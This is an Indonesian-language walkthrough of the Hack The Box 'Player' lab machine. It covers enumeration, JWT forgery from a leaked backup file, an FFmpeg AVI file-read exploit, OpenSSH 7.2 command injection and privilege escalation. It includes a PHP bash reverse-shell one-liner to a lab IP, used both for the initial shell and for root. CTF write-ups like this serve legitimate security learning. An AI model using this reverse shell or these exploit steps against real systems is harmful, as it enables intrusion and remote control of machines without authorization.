Hack The Box - Walkthrough Player. Eksploitasi FFmpeg, JWT dan berbagai daftar web

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Pada artikel ini, kita akan melalui JWT, melakukan enumerasi web seperti mencari direktori, subdomain dan file cadangan, kita akan mengeksploitasi SSRF di enkoder FFmpeg dan RCE di SSH.

Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data yang penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Kecerdasan


Pemindaian port


Mesin ini memiliki alamat IP 10.10.10.145, yang saya tambahkan ke / etc / hosts.

10.10.10.145 player.htb 

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000 

gambar

Selanjutnya, Anda perlu mengumpulkan lebih banyak informasi tentang port yang dikenal. Untuk melakukan ini, gunakan nmap dengan opsi -A.

 nmap -A player.htb -p22,80,6686 

gambar

Dengan demikian, host menjalankan SSH pada port 22 dan 6686, serta server web Apache pada 80.

Enumerasi Web


Pertama-tama, lihat web. Namun sayang, tidak ada yang menarik.

gambar

Dalam hal ini, Anda biasanya perlu memindai direktori. Untuk melakukan ini, gunakan gobuster cepat. Tentukan dalam parameter yang ingin kita pindai direktori (dir), tentukan situs (-u), daftar kata (-w), ekstensi yang menarik bagi kita (-x), jumlah utas (-t).

 gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php 

Dari direktori ini, peluncur yang menarik. Dikatakan bahwa ini adalah layanan pengeditan video dan kami membutuhkan email yang valid.

gambar

Setelah bermain sedikit dengan formulir, saya perhatikan bahwa ia mengirimkan data ke halaman /uncher/dee8dc8a47256c64630d803a4c40786c.php, di sana ia memeriksa dan mengalihkan kembali.

gambar

Dari semua yang kita miliki, tidak ada dan tidak ada yang akan memberi kita. Langkah selanjutnya dalam daftar adalah mencari subdomain. Baru-baru ini, setelah saya disarankan untuk menggunakan wfuzz, saya menggunakannya dan menyarankan hal yang sama kepada orang lain. Tentukan header (-H), kamus (-w), URL (-u), dan kecualikan kode respons 403 (--hc 403).

 wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403 

gambar

Jadi, kami menemukan tiga subdomain yang juga perlu ditambahkan ke / etc / hosts.

 10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb 

Pada dev, hanya ada formulir otorisasi, pada obrolan hanya obrolan tidak berguna, dan pada pementasan formulir untuk beberapa kontak.

gambar

gambar

gambar

Setelah menguji sedikit formulir, yang kita miliki hanyalah redirect ke 501.php dan beberapa data dengan kesalahan yang ditunjukkan.

gambar

gambar

gambar

Tetapi sekali lagi ini tidak cukup. Selanjutnya, apa yang biasanya saya lupa, saya memutuskan untuk memeriksa cadangan file. Jadi ditemukan /launcher/dee8dc8a47256c64630d803a4c40786c.php ~

gambar

Dalam kode ini, JWT (token) diterjemahkan dan diverifikasi. Bergantung pada cek, pengalihan ke salah satu halaman terjadi. Jika token tidak disediakan, maka kami akan menetapkannya.

Karena kita tahu kunci dan nilai akhirnya, kita bisa menyandikannya dan mendapatkan token yang valid. Ini dapat dilakukan dengan menggunakan situs ini.

gambar

Kami mendapatkan token kode. Dan menggantinya dalam permintaan.

gambar

gambar

Hasilnya, kami diberikan formulir unggah file media. Setelah mengunduh gambar, kami ditawari untuk mengunduh file media dalam format AVI.

gambar

Titik masuk


Karena AVI dibuat dari file kami, kami dapat menggunakan exploit yang memungkinkan Anda membaca file. Kode dapat diambil di sini . Mari kita periksa ini dan melihat file / etc / passwd.

gambar

Mari kita periksa ini dan melihat file / etc / passwd.

 python3 gen_avi.py file:///etc/passwd passwd.avi 

Setelah mengunduh dan membuka file, kami mengamati file / etc / passwd.

gambar

Karena kita dapat membaca file, kita perlu mengumpulkan daftar yang kita ketahui. Kami mengingat kesalahan dalam file contact.php. Mari kita baca semua file yang terdaftar di sana.

gambar

Dan tidak ada yang menarik di file kontak, perbaikan tidak dapat dibaca, tetapi di service_config kami menemukan login dan kata sandi.

gambar

Mari kita coba masuk ke dev.player.htb dengan mereka - datanya tidak cocok, tetapi ada dua SSH lagi. Port 22 gagal, tetapi pada 6686 kami mendapatkan shell.

gambar

PENGGUNA


Tapi cangkang terbatas, dan saya ingat versi 7.2 dan memutuskan untuk memeriksa exploit.

gambar

Jadi, jika kita memiliki kredensial, kita dapat menjalankan Injeksi Perintah.

gambar

gambar

Mereka juga memberi kami daftar perintah untuk membaca dan menulis file. Kami membaca bendera pengguna.

gambar

ROOT


Sekarang kita harus memiliki hak yang cukup untuk membaca fix.php

gambar

Kami menemukan data menarik di dalamnya yang sudah pas di dev.player.htb. Dan di sana kami menemukan proyeknya.

gambar

Dan file ini dapat diakses saat mengaksesnya dari lingkungan eksternal. Artinya, kita bisa meletakkan cangkangnya.

gambar

Untuk melakukan ini, buka proyek Anda.

gambar

Selanjutnya, buat file dengan shell berikut.

 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?> 

gambar

Sekarang buka sesi menggunakan netcat.

 nc -lvp 4321 

Selanjutnya, kita beralih ke file kita.

gambar

gambar

Setelah menyelesaikan enumerasi dan memeriksa beberapa opsi lagi, kami berhenti untuk memeriksa proses. Berkat pspy64, Anda dapat menentukan bahwa skrip buff.php dijalankan dari waktu ke waktu dengan UID 0, yaitu sebagai root.

gambar

Mari kita lihat apa yang dilakukan script.

gambar

Saat mencoba menambahkan kode ke file ini, kami menemukan masalah - kami tidak memiliki hak.

gambar

Namun dalam skrip, file lain disertakan, di mana kami memiliki hak untuk menulis.

gambar

Kami akan menulis shell yang sudah kami gunakan untuk file ini, dan di netcat kami menunggu koneksi.

gambar

Dengan cara ini kami mendapatkan hak istimewa maksimal.

Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

Source: https://habr.com/ru/post/id484568/


All Articles